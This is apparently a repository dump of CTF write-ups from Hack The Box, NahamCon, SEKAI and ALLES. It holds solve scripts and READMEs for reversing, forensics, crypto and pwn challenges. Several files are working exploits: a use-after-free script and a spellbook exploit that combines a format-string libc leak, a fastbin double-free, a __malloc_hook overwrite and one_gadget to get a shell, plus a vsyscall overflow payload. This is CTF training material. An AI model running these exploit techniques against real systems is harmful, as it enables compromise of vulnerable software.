https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/craft_live.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/free_list_1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/free_list_1.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/free_list_2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/free_list_2.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/glibc/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2022/pwn/spellbook/glibc/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/flag.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/save.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/save.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/call_ir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/call_ir.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/example.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/opcodes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/opcodes.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/free_exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/free_exploit.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/malloc_exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/img/malloc_exploit.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/call_full.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/call_full.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/frequency.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/frequency.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/logi_init.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/logi_init.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/registers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/registers.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/feature.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/feature.jpg -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/history.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/img/history.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/parse_labels.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/parse_labels.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/ram_loaded.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/ram_loaded.png -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/cpu_instructions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/verd1c/ctf-writeups/HEAD/hack-the-box-uni-ctf/2021/hardware/mechanical-madness/img/cpu_instructions.png -------------------------------------------------------------------------------- /naham/2022/reverse/babyrev/solve.py: -------------------------------------------------------------------------------- 1 | bytes = [0x66, 0x0D9, 0x188, 0x341, 0x7C0, 0x6F9, 0x18A4, 0x95, 0x10A, 0x1D5, 0x37C, 0x3A9, 0x7B0, 0x1969, 0x127, 0x1A3, 0x1C4, 0x2B9, 0x754, 0x889, 0x0F50, 0x1F0, 0x254, 0x2D9, 0x558, 0x571, 0x924, 0x1019, 0x342, 0x3AD, 0x508, 0x6E9, 0x0A30, 0x10E1, 0x1284, 0x500, 0x5D2, 0x74D] 2 | 3 | flag = '' 4 | for i in range(len(bytes)): 5 | x = (bytes[i] - i * i) >> (i % 7) 6 | flag += chr(x) 7 | 8 | print(flag) -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/pwn/arachnoid-heaven/solve.py: -------------------------------------------------------------------------------- 1 | # solve.py 2 | from pwn import * 3 | 4 | conn = remote('64.227.36.32', '31174') 5 | 6 | def getl(): 7 | return conn.recv().decode('utf-8') 8 | 9 | # create first 10 | print(getl()) 11 | conn.sendline(b'1') 12 | print(getl()) 13 | conn.sendline(b'sp1d3y') 14 | 15 | # delete first 16 | print(getl()) 17 | conn.sendline(b'2') 18 | print(getl()) 19 | conn.sendline(b'0') 20 | 21 | # create second 22 | print(getl()) 23 | conn.sendline(b'1') 24 | print(getl()) 25 | conn.sendline(b'sp1d3y' + b'\0' + b'aa') 26 | 27 | # get 28 | print(getl()) 29 | conn.sendline(b'4') 30 | print(getl()) 31 | conn.sendline(b'0') 32 | 33 | conn.interactive() -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/solve.py: -------------------------------------------------------------------------------- 1 | # solve.py 2 | 3 | enc_strings = [ 4 | [81, 107, 33, 120, 172, 85, 185, 33], 5 | [154, 254, 232, 3, 171, 171, 16, 29, 111, 228, 232, 245, 111, 89, 158, 219, 24, 210, 111, 171, 172, 219, 210, 46, 197, 76, 167, 233], 6 | [215, 11, 59, 120, 237, 146, 94, 236, 11, 250, 33, 198, 198], 7 | [59, 185, 46, 236, 33, 42, 33, 162, 223, 219, 162, 107, 250, 81, 94, 46, 159, 55, 172, 162, 223, 11] 8 | ] 9 | 10 | def deobf(arr): 11 | de = '' 12 | for c in arr: 13 | de = de + chr((c * 59 - 54) & 255) 14 | return de 15 | 16 | for arr in enc_strings: 17 | print(deobf(arr)) 18 | -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/forensics/peel-back-the-layers/README.md: -------------------------------------------------------------------------------- 1 | # Peel Back The Layers 2 | 3 | 4 | ## tl;dr 5 | 6 | Docker image that contains history that exposes a c library containing the flag 7 | 8 | ## Analysis 9 | 10 | We can pull the image with 11 | 12 | ```sh 13 | docker pull steammaintainer/gearrepairimage 14 | ``` 15 | 16 | We can export the image to a tar like this: 17 | 18 | ![Craft](img/save.png) 19 | 20 | Then we can check the history using container-diff: 21 | 22 | ![Craft](img/history.png) 23 | 24 | A file was copied to /usr/share/lib. Let's check it: 25 | 26 | Navigate to 0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/layer.tar/usr/share/lib 27 | 28 | ## Flag 29 | 30 | Use strings on the library: 31 | 32 | ![Craft](img/flag.png) 33 | 34 | The flag is right there: 35 | 36 | HTB{1_r34lly_l1k3_st34mpunk_r0b0ts!!!} -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/the-vault/README.md: -------------------------------------------------------------------------------- 1 | # The Vault 2 | 3 | ## tl;dr 4 | 5 | Binary that checks if the first argument given is the flag 6 | 7 | ## Analysis 8 | 9 | We run the file with different inputs, nothing seems to work: 10 | 11 | ![Run](img/run.png) 12 | 13 | Open the executable in IDA and head into the function called by main. We can see the following comparison: 14 | 15 | ![Compare](img/compare.png) 16 | 17 | The current byte gets moved to v8 and then a value is read into v0 from some weird global indexing that we're not gonna get into. Those values are then checked if they are the same and if not, the program exits. 18 | 19 | We won't mess with the indexing, just set a breakpoint right before the compare: 20 | 21 | ![ASM](img/asm.png) 22 | 23 | The value on var_22D is gonna be the one coming from the weird indexing. If we check this every iteration, we will get the flag byte by byte: 24 | 25 | ![Flag](img/flag1.png) 26 | 27 | And the next one... 28 | 29 | ![Flag](img/flag2.png) 30 | 31 | We use IDC function Byte to print out the value each iteration and F9 to continue the program so it is easier: 32 | 33 | ![IDC](img/idc.png) 34 | 35 | The final flag comes out as: 36 | 37 | HTB{vt4bl3s_4r3_c00l_huh} -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/solve.py: -------------------------------------------------------------------------------- 1 | # 32 2 | swirl = [28,10,17,38,37,13,26,14,25,23,3,15,21,18,41,19,4,16,5,39,8,32,27,33,11,0,34,46,36,35,51,47,22,6,40,2,29,7,24,45,12,44,31,30,49,43,48,42,50,1,20,9] 3 | 4 | # 132 5 | mapper = [0x61,0x65,0x71,0x75,0x65,0x6f,0x73,0x61,0x6c,0x69,0x6e,0x6f,0x63,0x61,0x6c,0x63,0x61,0x6c,0x69,0x6e,0x6f,0x63,0x65,0x72,0x61,0x63,0x65,0x6f,0x61,0x6c,0x75,0x6d,0x69,0x6e,0x6f,0x73,0x6f,0x63,0x75,0x70,0x72,0x65,0x6f,0x76,0x69,0x74,0x72,0x69,0x6f,0x6c,0x69,0x63] 6 | 7 | # 191 8 | encoded_flag = [0x7f,0x94,0xd4,0xf2,0xf7,0xaf,0x98,0xba,0x9e,0xd7,0x85,0xb3,0xfb,0xdd,0xcf,0xb7,0xe6,0x5e,0x03,0xaf,0xd8,0xb3,0xc3,0xb7,0xbe,0xa2,0xbd,0x51,0xaa,0x98,0xd1,0xa4,0xc4,0xa0,0x62,0x61,0x57,0x91,0x58,0x9d,0xf8,0xc5,0xaf,0x88,0xb4,0xba,0xe9,0xaf,0xdf,0xa9,0xb9,0xd9] 9 | 10 | flag_len = len(encoded_flag) 11 | def do_swirl(): 12 | for i in reversed(range(flag_len)): 13 | temp = encoded_flag[i] 14 | encoded_flag[i] = encoded_flag[swirl[i]] 15 | encoded_flag[swirl[i]] = temp 16 | 17 | def do_ath(swirl_counter): 18 | for i in reversed(range(flag_len)): 19 | encoded_flag[i] = (encoded_flag[i] - mapper[(i + swirl_counter + 11) % flag_len]) & 0xFF 20 | 21 | for i in reversed(range(32)): 22 | do_ath(i) 23 | do_swirl() 24 | 25 | print(''.join([chr(c) for c in encoded_flag])) -------------------------------------------------------------------------------- /TSJ/2022/reverse/javascript-vm/chall.decompiled.cpp: -------------------------------------------------------------------------------- 1 | read_input(); 2 | while(swirl_counter < mem[31]){ // 32 loops 3 | swirl(); 4 | add_or_smth(); 5 | swirl_counter++; 6 | } 7 | 8 | for(int iter = 0; i < flag_len; ++i){ 9 | if(enc_flag[iter] != input_flag[iter]){ 10 | stdout_string("Wrong!\n"); // "Wrong!" 11 | exit(); 12 | } 13 | } 14 | 15 | stdout_string("Correct!"); // "Correct!" 16 | exit(); 17 | 18 | 19 | void read_input(){ 20 | for(int g_iter = 0; g_iter < g_flag_len; ++i){ 21 | stdout_string("flag["); // "flag[" 22 | stdout_number(g_iter); // counter (mem[28]) 23 | stdout_string("]: "); // "]:" 24 | 25 | do{ 26 | temp = input(); // input 27 | }while(temp < 1); 28 | 29 | g_input_flag[g_iter] = temp; 30 | 31 | stdout_char(temp); 32 | stdout_char("\n"); // "\n" 33 | } 34 | return; 35 | } 36 | 37 | void swirl(){ 38 | for(int iter = 0; i < g_input_flag_len; ++i){ 39 | temp = g_input_flag[iter]; 40 | g_input_flag[iter] = g_input_flag[swirl[iter]]; 41 | g_input_flag[swirl[iter]] = temp; 42 | } 43 | return; 44 | } 45 | 46 | void mess(){ 47 | for(int iter = 0; i < flag_len; ++i){ 48 | g_input_flag[iter] = mapper[(iter + swirl_counter + 11) % flag_len] 49 | } 50 | return; 51 | } 52 | -------------------------------------------------------------------------------- /sekai/2025/rev/sekai-bank/README.md: -------------------------------------------------------------------------------- 1 | Sekai Bank was a reverse engineering / misc challenge during the SEKAI 2025 CTF. The challenge consisted of an APK containing a banking application that allows you to send or request money. 2 | 3 | 4 | 5 | 6 | 7 | Right off the bat, by checking the Android manifest, we see the following: 8 | 9 | ## Log Provider 10 | 11 | The app has a provider with authority `com.sekai.bank.logprovider`: 12 | 13 | ```xml 14 | 15 | 16 | 17 | ``` 18 | 19 | Note that the provider is **not** exported, so we cannot directly use it from our app. However, notice the following: 20 | 21 | ```xml 22 | android:grantUriPermissions="true" 23 | ```` 24 | 25 | 26 | 27 | ## Boot Receiver 28 | 29 | ```xml 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | ``` -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/crypto/space-pirates/solve.py: -------------------------------------------------------------------------------- 1 | # solve.py 2 | import base64 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | from random import randint, randbytes,seed 6 | from hashlib import md5 7 | import math 8 | 9 | def next_coeff(val): 10 | return int(md5(val.to_bytes(32, byteorder="big")).hexdigest(),16) 11 | 12 | def calc_coeffs(init_coeff, coeffs): 13 | for i in range(8): 14 | coeffs.append(next_coeff(coeffs[i])) 15 | 16 | def rev_secret(init_coeff, init_x, init_y, p): 17 | coeffs = [init_coeff] 18 | calc_coeffs(init_coeff, coeffs) 19 | # init_y = (secret + coeffs[1] * init_x + coeffs[2] * init_x^1 + ... + coeffs[9] * init_x^9) % P 20 | sum = 0 21 | 22 | for i in range(len(coeffs)): 23 | init_y -= coeffs[i] * (init_x ** (i + 1)) 24 | 25 | GCD = math.gcd(p, 1) 26 | secret = (GCD * (init_y)) % p 27 | return secret 28 | 29 | secret = rev_secret(93526756371754197321930622219489764824, 21202245407317581090, 11086299714260406068, 92434467187580489687) 30 | 31 | enc = '1aaad05f3f187bcbb3fb5c9e233ea339082062fc10a59604d96bcc38d0af92cd842ad7301b5b72bd5378265dae0bc1c1e9f09a90c97b35cfadbcfe259021ce495e9b91d29f563ae7d49b66296f15e7999c9e547fac6f1a2ee682579143da511475ea791d24b5df6affb33147d57718eaa5b1b578230d97f395c458fc2c9c36525db1ba7b1097ad8f5df079994b383b32695ed9a372ea9a0eb1c6c18b3d3d43bd2db598667ef4f80845424d6c75abc88b59ef7c119d505cd696ed01c65f374a0df3f331d7347052faab63f76f587400b6a6f8b718df1db9cebe46a4ec6529bc226627d39baca7716a4c11be6f884c371b08d87c9e432af58c030382b737b9bb63045268a18455b9f1c4011a984a818a5427231320ee7eca39bdfe175333341b7c' 32 | 33 | seed(secret) 34 | key = randbytes(16) 35 | cipher = AES.new(key, AES.MODE_ECB) 36 | enc_FLAG = cipher.decrypt(bytes.fromhex(enc)).decode("ascii") 37 | print(enc_FLAG) -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/reverse/upgrades/README.md: -------------------------------------------------------------------------------- 1 | # Upgrades 2 | 3 | ## tl;dr 4 | 5 | PowerPoint file that contains VBA macros with encrypted strings 6 | 7 | ## Analysing 8 | 9 | We use olevba to spot and extract VBA macros from the PowerPoint: 10 | 11 | ![OLEVBA](img/olevba.png) 12 | 13 | We can see some string comparisons happening at the bottom, but it's between byte arrays that get passed through some "q" function: 14 | 15 | ![Encrypted Strings](img/enc_strings.png) 16 | 17 | ## Decryption 18 | 19 | Let's take a look at the q function: 20 | 21 | ![Decrypt](img/decrypt_func.png) 22 | 23 | This is pretty obviously a decrypt function, every byte goes through the same operation and then is turned into an actual character. The operation is the following: 24 | 25 | ```python 26 | decrypted = '' 27 | for byte in array: 28 | decrypted += chr((byte * 59 - 54) % 255) 29 | return decrypted 30 | ``` 31 | 32 | So every byte is multiplied by 59, then gets 54 substituted from it, and then is modulo'd by 255 to fit in a byte. We can write a python script to decrypt all of these arrays: 33 | 34 | ```python 35 | # solve.py 36 | 37 | enc_strings = [ 38 | [81, 107, 33, 120, 172, 85, 185, 33], 39 | [154, 254, 232, 3, 171, 171, 16, 29, 111, 228, 232, 245, 111, 89, 158, 219, 24, 210, 111, 171, 172, 219, 210, 46, 197, 76, 167, 233], 40 | [215, 11, 59, 120, 237, 146, 94, 236, 11, 250, 33, 198, 198], 41 | [59, 185, 46, 236, 33, 42, 33, 162, 223, 219, 162, 107, 250, 81, 94, 46, 159, 55, 172, 162, 223, 11] 42 | ] 43 | 44 | def deobf(arr): 45 | de = '' 46 | for c in arr: 47 | de = de + chr((c * 59 - 54) & 255) 48 | return de 49 | 50 | for arr in enc_strings: 51 | print(deobf(arr)) 52 | 53 | ``` 54 | 55 | ## Flag 56 | 57 | And running the script: 58 | 59 | ![Flag](img/flag.png) -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2022/pwn/spellbook/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | from pwn import * 3 | 4 | context.binary = elf = ELF('./spellbook') 5 | libc = ELF('./glibc/libc.so.6') 6 | context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] 7 | 8 | #io = remote('178.62.5.219', 32110) 9 | io = gdb.debug(elf.path, gdbscript=''' 10 | c 11 | ''') 12 | #io = process(elf.path) 13 | 14 | def add(idx, typei, power, sp): 15 | io.sendlineafter(b'>> ', b'1') 16 | io.sendlineafter(b': ', f'{idx}'.encode()) 17 | io.sendlineafter(b': ', typei) 18 | io.sendlineafter(b': ', f'{power}'.encode()) 19 | io.sendafter(b': ', sp) 20 | 21 | def show(idx): 22 | io.sendlineafter(b'>> ', b'2') 23 | io.sendlineafter(b': ', f'{idx}'.encode()) 24 | 25 | def edit(idx, type, sp): 26 | io.sendlineafter(b'>> ', b'3') 27 | io.sendlineafter(b': ', f'{idx}'.encode()) 28 | io.sendlineafter(b': ', f'{type}'.encode()) 29 | io.sendafter(b': ', f'{sp}'.encode()) 30 | 31 | def delete(idx): 32 | io.sendlineafter(b'>> ', b'4') 33 | io.sendlineafter(b': ', f'{idx}'.encode()) 34 | 35 | def pwn(): 36 | add(8, 'aaa', 0x20, b'aaa') 37 | add(1, b'%13$p', 0x60, b'aaa') 38 | show(1) 39 | io.recvuntil(b': 0x') 40 | leak = io.recvuntil(b'\n') 41 | libc.address = int(leak, 16) - libc.symbols['__libc_start_main'] - 240 42 | log.info(f'libc @ {hex(libc.address)}') 43 | 44 | 45 | add(2, b'yes', 0x60, b'aaa') 46 | 47 | 48 | delete(1) 49 | delete(2) 50 | delete(1) 51 | 52 | delete(8) 53 | 54 | 55 | one = 0x4527a 56 | 57 | log.info(f'__malloc_hook @ {hex(libc.sym["__malloc_hook"])}') 58 | 59 | add(1, 'wee', 0x60, p64(libc.sym['__malloc_hook'] - 0x23)) 60 | add(2, b'yes', 0x60, b'aaa') 61 | add(3, b'yes', 0x60, b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') 62 | add(4, b'yes', 0x60, b'1111111111111111111' + p64(libc.address + one) + b'45678901234567890') 63 | 64 | io.sendlineafter(b'>> ', b'1') 65 | io.sendlineafter(b': ', f'{7}'.encode()) 66 | 67 | io.interactive() 68 | 69 | pwn() 70 | -------------------------------------------------------------------------------- /DAM/2021/reverse/danceparty/README.md: -------------------------------------------------------------------------------- 1 | # Danceparty 2 | 3 | ## tl;dr 4 | 5 | Malware using strings that are first xor'd with a hex value and then encoded into base64 6 | 7 | ## Initial Thoughts 8 | 9 | We analyze the executable with IDA. First things first, we check the strings with Shift-F12: 10 | 11 | ![Strings](img/strings.png) 12 | 13 | We notice some very obviously base64 encoded strings along with some file paths. Let's attempt to decode one of the base64 strings: 14 | 15 | ![Strings B64](img/string_b64_decode.png) 16 | 17 | The output is not readable. However, it's random bytes so we instantly consider the chance of it being double encoded. Let's get into it. 18 | 19 | ## Reversing The Strings 20 | 21 | We double click the first base64 string to get to its location in memory, and then we list xrefs to that memory location as we're currently in the read only data segment(rdata): 22 | 23 | ![First XREF](img/string_xref_init.png) 24 | 25 | Double click and head to .data:off_140005000: 26 | 27 | ![Second XREF](img/string_xref_table.png) 28 | 29 | We are now at the non-read only data segment(.data). Lets list xrefs to the memory location again, and head to it. We arrive at the following function: 30 | 31 | ![Init func](img/decoding_function.png) 32 | 33 | We don't know much about the first function that's called(sub_140002F30), but we can see that the string(pszString) and it's length(cchString) are passed as arguments on the second function(sub_140002BA0). Let's check the second function: 34 | 35 | ![Crypt func](img/crypt_function.png) 36 | 37 | We see CryptStringToBinaryA, which is used to turn a string into a byte array. At this point we consider that this might be executed after the string is decrypted from base64, in order to further decode that non readable array of bytes we saw above. Let's head to the third function(sub_1400019E0) that takes as a parameter the byte array produced by the function above: 38 | 39 | ![Xor function](img/xor_function.png) 40 | 41 | Bingo! Every byte of the array is XOR'd with 0x2a. Finally the random byte array might make sense now. Let's write a python script that first decodes from base64 and then XOR's every byte with 0x2a: 42 | 43 | ![Python solve](img/python_solve.png) 44 | 45 | And lets run it for all the strings: 46 | 47 | ![Solution](img/solution.png) 48 | 49 | Voila, dam{d33p_fr1ed_mem0ry_f0r_d4yz} 50 | -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/hardware/mechanical-madness/assembler.py: -------------------------------------------------------------------------------- 1 | # assembler.py 2 | input = open('program.asm', 'r') 3 | out = open('program.data', 'w+') 4 | 5 | binary = [] 6 | 7 | # opcodes 8 | opcodes = { 9 | 'movl' : 0x10, 10 | 'clr' : 0x03, 11 | 'mmiv' : 0x17, 12 | 'mmov' : 0x18, 13 | 'call' : 0x11, 14 | 'push' : 0x14, 15 | 'sub' : 0x01, 16 | 'cmp' : 0x13, 17 | 'jnz' : 0x0e, 18 | 'pop' : 0x15, 19 | 'msk' : 0x1a, 20 | 'mskb' : 0x1b, 21 | 'jl' : 0x0a, 22 | 'jmp' : 0x05, 23 | 'ret' : 0x12 24 | } 25 | 26 | # registers 27 | registers = { 28 | 'ax' : 0x00, 29 | 'bx' : 0x01, 30 | 'cx' : 0x02, 31 | 'dx' : 0x03 32 | } 33 | 34 | labels = {} 35 | 36 | def make_operand(operand): 37 | # If addition on label 38 | if len(operand.split('+')) == 2: 39 | arr = operand.split('+') 40 | return str(hex(labels[arr[0]] + int(arr[1], 10))[2:]).zfill(2) 41 | 42 | # Convert depending on type 43 | if operand in registers: 44 | return str(hex(registers[operand])[2:]).zfill(2) 45 | elif operand in labels: 46 | return str(hex(labels[operand])[2:]).zfill(2) 47 | elif operand.startswith('0x'): 48 | return str(hex(int(operand, 16))[2:]).zfill(2) 49 | elif operand.isnumeric: 50 | return str(hex(int(operand, 10))[2:]).zfill(2) 51 | else: 52 | return str(hex(int(operand, 16))[2:]).zfill(2) 53 | 54 | def parse_labels(lines): 55 | instruction_counter = 0 56 | for line in lines: 57 | l = line.strip() 58 | 59 | # parse labels 60 | if l.startswith(':'): 61 | labels[l] = instruction_counter 62 | continue 63 | 64 | instruction_counter += 1 65 | return 66 | 67 | def compile(): 68 | out.write('v2.0 raw\n') 69 | for instr in binary: 70 | out.write(instr + ' ') 71 | return 72 | 73 | def parse(): 74 | instruction_counter = 0 75 | lines = input.readlines() 76 | parse_labels(lines) 77 | print(labels) 78 | for line in lines: 79 | l = line.strip() 80 | 81 | if l.startswith(':'): 82 | continue 83 | 84 | instruction = '' 85 | opcode = l.split(' ')[0] 86 | instruction += str(hex(opcodes[opcode])[2:]) 87 | 88 | # remove empty spaces 89 | args = [x.replace(',', '') for x in l.split(' ') if x != ''] 90 | 91 | # check if instruction with no args 92 | if len(args) != 1: 93 | instruction += make_operand(args[1]) 94 | instruction += make_operand(args[2]) 95 | else: 96 | instruction += '0000' 97 | 98 | binary.append(instruction) 99 | instruction_counter += 1 100 | 101 | 102 | parse() 103 | compile() 104 | #print(labels) -------------------------------------------------------------------------------- /ALLES/2021/pwn/Ccanary/README.md: -------------------------------------------------------------------------------- 1 | # Ccanary 2 | 3 | ## tl;dr 4 | 5 | This challenge includes a demonstration of a simple buffer overflow attack, with a little twist. 6 | 7 | ## Initial Thoughts 8 | 9 | Since we are given the source code, let's have a look at it: 10 | 11 | ![Initial Thoughts](img/initial.png) 12 | 13 | We can see that a local struct data is created, containing the user input, followed by a function pointer and then by a variable that will later decide wether or not the flag will be printed. Quite obviously, we need to overwrite that variable to 1. 14 | 15 | Let's have a look at the struct to tell what's going on: 16 | 17 | ![Struct Data](img/struct.png) 18 | 19 | We can see that user input is 32 bytes, so we should be able to easily overflow that and reach the variable we want to overflow. 20 | 21 | The problem arises at line 44 of main, where the second field of the struct, the function pointer, is called. In a normal call this would just call the canary function and move on, however in the case of an overflow, the address will be overwritten and the garbage in it will act as an address to be called, which will obviously lead in the termination of the program if the address is not correct. 22 | 23 | ## Breaking the protection 24 | 25 | The most obvious way through this, is to find the adddress of a function and overwrite the canary with it. Let's check the executable to see if we can do that: 26 | 27 | ![Checksec](img/checksec.png) 28 | 29 | As we can see it's a PIE(Position Independent Executable), which means we won't be able to hardcode the address of a function, as that will change on every execution of the program. 30 | 31 | However, as the challenge description is "I'm using Arch btw", apart from the meme, let's try and see if there is any arch-specific runtime mappings in the executable that make in not secure: 32 | 33 | ![Checksec](img/mappings.png) 34 | 35 | We can instantly notice vsyscall, a segment used to accelerate certain linux system calls. However, this segment's page is statically allocated to the exact same address in every execution since it's hardcoded in the kernel's application binary interface. This defeats the entire purpose of position independent code and ASLR and is removed by default in newer kernel builds. 36 | 37 | ## Getting the flag 38 | 39 | Now that we know that vsyscall is statically allocated, we will try to overwrite the canary pointer to point to vsyscall, and then ovewrite the give_flag variable. 40 | 41 | So our payload will need be constructed as: 42 | * Fill the 32 bytes of the user buffer 43 | * Overwrite the canary with the vsyscall address (0xffffffffff600000) 44 | * Overwrite the give_flag variable with 1 45 | 46 | So let's write our script using pwntools: 47 | 48 | ```python 49 | from pwn import * 50 | 51 | conn = remote('7b0000006c9823b85d686990-ccanary.challenge.master.allesctf.net', 31337, ssl=True) 52 | 53 | vsyscall_addr = 0xffffffffff600000 54 | 55 | conn.sendlineafter(b'> ', b'z'*31 + p64(vsyscall_addr) + p8(1)) 56 | 57 | conn.interactive() 58 | ``` 59 | 60 | and by running it 61 | 62 | ![Flag](img/flag.png) 63 | 64 | we get the flag: 65 | 66 | ALLES!{th1s_m1ght_n0t_work_on_y0ur_syst3m_:^)} 67 | -------------------------------------------------------------------------------- /hack-the-box-uni-ctf/2021/misc/insane-bolt/solve.py: -------------------------------------------------------------------------------- 1 | # solve.py 2 | from pwn import * 3 | 4 | # define emote hexs 5 | PLAYER = b'\xf0\x9f\xa4\x96' 6 | FIRE = b'\xf0\x9f\x94\xa5' 7 | MINE = b'\xe2\x98\xa0\xef\xb8\x8f' 8 | WRENCH = b'\xf0\x9f\x94\xa9' 9 | DIAMOND = b'\xf0\x9f\x92\x8e' 10 | 11 | 12 | conn = remote('167.172.51.245', '30766') 13 | 14 | print(conn.recvuntil('> ')) 15 | 16 | conn.send(b'2\n') 17 | 18 | diamonds = 0 19 | wrenches = 0 20 | 21 | # run game loop 22 | while True: 23 | given = conn.recvuntil('> ') 24 | 25 | # parse game board 26 | game_parse = [] 27 | lines = given.split(b'\n') 28 | initX = 0 29 | initY = 0 30 | i = -1 31 | j = 0 32 | for l in lines: 33 | ll = '' 34 | line = [] 35 | emojis = l.split(b' ') 36 | j = 0 37 | 38 | # parse emotes in current line 39 | for e in emojis: 40 | if e == FIRE: 41 | line.append('F') 42 | elif e == MINE: 43 | line.append('B') 44 | elif e == WRENCH: 45 | line.append('W') 46 | elif e == PLAYER: 47 | line.append('P') 48 | initX = j 49 | initY = i 50 | elif e == DIAMOND: 51 | line.append('D') 52 | else: 53 | j = j - 1 54 | j = j + 1 55 | game_parse.append(line) 56 | i = i + 1 57 | 58 | # remove empty arrays 59 | game = [x for x in game_parse if x != []] 60 | for l in game: 61 | ll = '' 62 | for e in l: 63 | ll = ll + e + ' ' 64 | print(ll) 65 | 66 | sol = [] 67 | print('MaxX : ' + str(len(game[0])) + ' MaxY: ' + str(len(game))) 68 | 69 | # solve current board 70 | def solve(G, curX, curY, orig, path): 